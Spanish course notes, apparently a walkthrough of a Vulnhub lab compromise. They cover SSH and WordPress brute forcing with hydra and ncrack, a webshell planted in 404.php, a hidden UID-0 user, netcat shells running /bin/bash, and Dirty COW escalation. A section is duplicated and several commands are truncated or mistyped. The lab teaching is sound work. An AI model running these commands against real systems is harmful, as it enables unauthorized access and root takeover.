Beruflich Dokumente
Kultur Dokumente
Búsqueda de objetivos
Cuando con nmap o similares detectemos servidores web podemos usar las herramientas de
enumeración para buscar cosas interesantes.
Herramientas de enumeración
dirb <urb>
nikt +h <url>
Hemos identificado un Wordpress sin actualizar, algo realmente peligroso para un servidor
web.
Ejecutando:
Lanza un ataque de fuerza bruta contra los nombres de usuario indicados usando el fichero de
passwords indicado.
Parrot tiene listas de palabras en /usr/share/wordlists, son muy útiles para este tipo de
ataques comprobad que no tenéis vuestros password en estas listas
Hemos descubierto un puerto 22 y una lista de usuarios, verificando si los usuarios permiten
login podemos lanzar ataques de fuerza bruta por ssh
Hay bastantes herramientas para esto, podemos usar por ejemplo hydra y ncrack
hydra
-l Es el nombre de usuario, si se usa en mayúscula (-L) se puede poner un diccionario (*.txt)
-p Se pone el password, si se usa en mayúscula (-P) se puede poner un diccionario de
passwords [-P diccionario.txt].
-v imprime en pantalla los intentos de usarios-password, si se usa con mayúscula (-V) nos dará
más detalles del proceso de crackeo [-v] [-vV].
IP de nuestro objetivo [IP/host].
protocolo El protocolo al cual se atacará puedes ser cualquiera de los que soporta (ftp,ssh,etc…)
Ejemplo: hydra -L usuarios.txt -P claves.txt “ip a atacar” ssh
Ncrack
-p: Puerto del SSH
-U: Diccionario para romper el usuario
-P: Diccionario para romper la password
Ejemplo: ncrack -p 22 -U rockyou.txt -P rockyou.txt “ip a atacar”
Con las credenciales obtenidas mediante fuerza bruta podemos entrar al panel de
administración de wordpress y en el apartado apariencia usar la opción editar. Lo más típico es
editar la plantilla de 404.php para inyectar código malicioso y activarlo al visitar un post no
existente.
Hay cantidad de webshell disponibles para descargar, busquemos uno para sustituir el 404.php
y de esta forma podremos tener acceso al servidor.
https://github.com/xl7dev/WebShell
https://webshell.co/
Una vez logramos entrar en una máquina, lo primero que debemos mirar es la versión del
kernel, si es una máquina olvidada con un kernel de hace unos años de años tiramos de dirty
cow y listo.
Ojo con las máquinas de vulnhub, si es algo antigua, en que entremos podremos usar dirty cow
y hacernos root, pero como es un bug posterior a la creación de muchas de las máquinas nos
estamos perdiendo la diversión al no seguir el camino preparado por el creador de la máquina.
Si no hay kernel vulnerable toca buscar algún servicio, script o demonio mal configurado o
vulnerable, para esto hay herramienta automática muy interesantes como unix-privesc-check
Podéis escalar tanto desde el webshell como desde el usuario anne ignorando que es del grupo
sudo. También podemos probar el script unix-privesc-check en nuestros servidores para
detectar problemas importantes de configuración.
ESCALAR PRIVILEGIOS
Una vez logramos entrar en una máquina, lo primero que debemos mirar es la versión del kernel,
si es una máquina olvidada con un kernel de hace unos años de años tiramos de dirty cow y listo.
Ojo con las máquinas de vulnhub, si es algo antigua, en que entremos podremos usar dirty cow
y hacernos root, pero como es un bug posterior a la creación de muchas de las máquinas nos
estamos perdiendo la diversión al no seguir el camino preparado por el creador de la máquina.
Si no hay kernel vulnerable toca buscar algún servicio, script o demonio mal configurado o
vulnerable, para esto hay herramienta automáticas muy interesantes como unix-privesc-check
Podéis escalar tanto desde el webshell como desde el usuario anne ignorando que es del grupo
sudo. También podemos probar el script unix-privesc-check en nuestros servidores para
detectar problemas importantes de configuración.
Unix-privesc-shell
Respecto al escalado de privilegios, lo mejor es empezar por lo más fácil que puede ser descargar
unix-privesc-check desde el webshell:
wget pentestmonkey.net/tools/unix-privesc-check/unix-privesc-check-1.4.tar.gz
Descomprimir:
Ejecutar:
./unix-privesc-check-1.4/unix-privesc-check standard
Así que añadiendo una instrucción en este archivo que cambie la password de root podemos
conseguir acceso total al servidor
Desde el webshell
Useradd -u 0 -o -g 0 manuel
echo "manuel:manuel01" | chpasswd
REVERSE SHELL
Punto de partida.
Otra forma sencilla de aprovechar ese cron sería un script de netcat para abrir un shell por red
es:
En la víctima ejecutamos:
nc -l -p 1234 -e /bin/bash
En el atacante ejecutamos
nc ip-victima 1234
La web pentestmonkey es un recurso excelente para iniciarse. tiene una sección de chuletas y
en ella una chuleta de reverse shells en varios lenguajes.
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
ACLARACION PROFESOR
Lo del fifo es buena idea, pero esa sintaxis no se ve tan clara, prefiero ejecutar desde la víctima:
$ mkfifo a
Y desde el atacante :
$ nc 192.168.123.6 1234
Efectivamente, haciéndolo así se consigue un Shell que nos permitirá crear un usuario o cambiar
la password del root (OJO que no te da prompt y despista…)
http://www.reydes.com/d/?q=Crear_un_Shell_Inverso_utilizando_mkfifo
mkfifo /tmp/f
sudo nc -n -vv -l -p 80
Esperamos que el cron lance el cleanup o lo forzamos con ./cleanup desde el webshell y veremos
que conseguimos el reverse-shell
Para ello nos vamos a conectar con el usuario anne que habíamos descubierto, por ssh.
Una vez dentro escribimos uname-a y nos dará la respuesta, diciendo que el kernel empleado
es 3-11-0.15, por lo tanto vulnerable.
La vulnerabilidad se ha parcheado para versiones 4.8.3, 4.7.9, 4.4.26 y posteriores.
Este archivo viene preparado para 64 bits, al ser la máquina víctima de 32 bits, debemos de
descomentar la parte de 32 bits y comentar la de 64.
Para pasar el archivo a la víctima lo podríamos hacer por scp desde la máquina atacante
Nos dará un error de TLS, al ser la web segura comprueba la versión del protocolo y nos viene a
decir que es antigua.
./cowroot
Mirando por foros vemos que si ejecutamos la línea inferior se vuelve más estable.
Hay que hacerlo muy rápido ya que sino la “víctima” solicita el reinicio.
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
Una opción más interesante, teniendo en cuenta que no nos vamos a encontrar muy a menudo
con usuarios anne con permisos administrativos , sería acceder mediante el webshell y desde
ahí ejecutar el proceso de descargar, compilar y ejecutar el dirtycow
EN http://oswalpalash.com/exploiting-dirtyc0w-vulnerability-exploit-code/ tenemos un
montón de exploits para descargar directamente desde el webshell y ejecutar desde ahí.
No conseguí hacer nada con ninguno, nada más que tirar la máquina abajo.